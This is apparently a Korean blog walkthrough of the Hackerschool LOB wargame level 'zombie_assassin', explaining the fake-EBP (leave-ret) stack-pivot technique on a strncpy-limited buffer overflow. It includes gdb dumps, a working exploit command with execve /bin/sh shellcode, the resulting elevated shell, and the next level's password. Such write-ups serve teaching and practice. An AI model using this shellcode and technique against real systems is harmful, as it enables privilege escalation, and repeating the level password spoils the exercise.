본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( assassin -> zombie_assassin ) by ORANG

LOB_assassin



[assassin@localhost assassin]$ bash2

[assassin@localhost assassin]$ ls

zombie_assassin  zombie_assassin.c

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48);

printf("%s\n", buffer);

}



bash2 띄우고~ 힌트를 보면 FEBP라 되어있네요

아마도 fake ebp 기법을 의미하는 듯 합니다.

fake ebp는 ebp의 값을 조작하고, ret를 leave-ret 의 주소로 덮어씌워주는 기법입니다.

lob에서 풀었던 FPO와 같은 원리입니다. 자세한 설명은 나중에 공격기법에 대하여 포스팅하고

간단하게 다시 설명하자면..


함수의 에필로그 과정에서 정상적인 leave-ret의 진행 부분을 보겠습니다.

(leave 과정) -> mov esp, ebp; pop ebp; 

(ret 과정) -> pop eip; jmp eip;


fake ebp 기법에서는

(leave 과정)

mov esp, ebp;

조작된 sfp 값을 pop ebp;

이때 esp 값은 ret를 가리키고 있습니다. 

(ret 과정) -> ret 주소를 leave-ret 을 가리키는 주소로 덮어씀

pop eip; jmp eip;

eip에 leave-ret이 들어가고, 점프하므로 다시 leave-ret과정이 시작됩니다.

(leave 과정)

공격자가 조작한 ebp주소로 mov esp, ebp;

pop ebp; 이제 esp는 (공격자가 조작한 주소+4)를 가리키고 있겠죠?

(ret 과정)

결과적으로 (공격자가 조작한 주소+4)에 있는 주소로 점프하게 됩니다.


전 문제랑 달라진점은 strcpy가 strncpy함수로 바뀌어, ret 이후의 메모리를 사용할 수 없네요

그리고 buffer부분을 초기화시키는 memset함수가 사라졌습니다.


gdb에서 공격시도해보며 정확한 주소를 찾고, 바로 fake ebp 공격을 하겠습니다.


(gdb) b * main+139

Breakpoint 1 at 0x80484cb

(gdb) r `perl -e 'print "A"x44,"BBBB"'`

Starting program: /home/assassin/tmp/./zombie_assassin `perl -e 'print "A"x44,"BBBB"'`


Breakpoint 1, 0x80484cb in main ()

(gdb) x/40x $ebp-48

0xbffffa48: 0xbffffbe0 0x00000030 0x41414141 0x41414141

0xbffffa58: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa68: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffa78: 0x41414141 0x42424242 0x00000002 0xbffffac4

0xbffffa88: 0xbffffad0 0x40013868 0x00000002 0x08048390



공격 방법은..

“0xbffffa50”(4) + nop(11) + shellcode(25) + ”0xbffffa4c” + leave-ret주소 가 됩니다.


[assassin@localhost tmp]$ objdump -d ./zombie_assassin | grep leave -A1 

 8048311: c9                    leave

 8048312: c3                    ret


leave-ret의 주소는 0x8048311입니다.


공격해보면..


[assassin@localhost tmp]$ ./zombie_assassin `perl -e 'print "\x50\xfa\xff\xbf", "\x90"x11, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89

\xc2\xb0\x0b\xcd\x80", "\x4c\xfa\xff\xbf", "\x11\x83\x04\x08"'`

P1Ph//shh/binPS°

                                    ̀L

Segmentation fault (core dumped)


실패했습니다. core dump를 통해 정확한 주소로 다시 공격해보면..



(gdb) x/40x 0xbffffa48

0xbffffa48: 0xbffffa60 0x401081ec 0xbffffa88 0x080484dc

0xbffffa58: 0x0804857e 0xbffffa60 0xbffffa50 0x90909090

0xbffffa68: 0x90909090 0x31909090 0x2f6850c0 0x6868732f

0xbffffa78: 0x6e69622f 0x5350e389 0xc289e189 0x80cd0bb0

0xbffffa88: 0xbffffa4c 0x08048311 0x00000002 0xbffffad4

0xbffffa98: 0xbffffae0 0x40013868 0x00000002 0x08048390

0xbffffaa8: 0x00000000 0x080483b1 0x08048440 0x00000002



“0xbffffa68”(4) + nop(11) + shellcode(25) + ”0xbffffa5c” +”0x8048311”


[assassin@localhost assassin]$ ./zombie_assassin `perl -e 'print "\x68\xfa\xff\xbf", "\x90"x11, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x5c\xfa\xff\xbf", "\x11\x83\x04\x08"'`

h1Ph//shh/binPS°

                                    ̀\

bash$

bash$ id

uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)

bash$ my-pass

euid = 516

no place to hide  



성공!!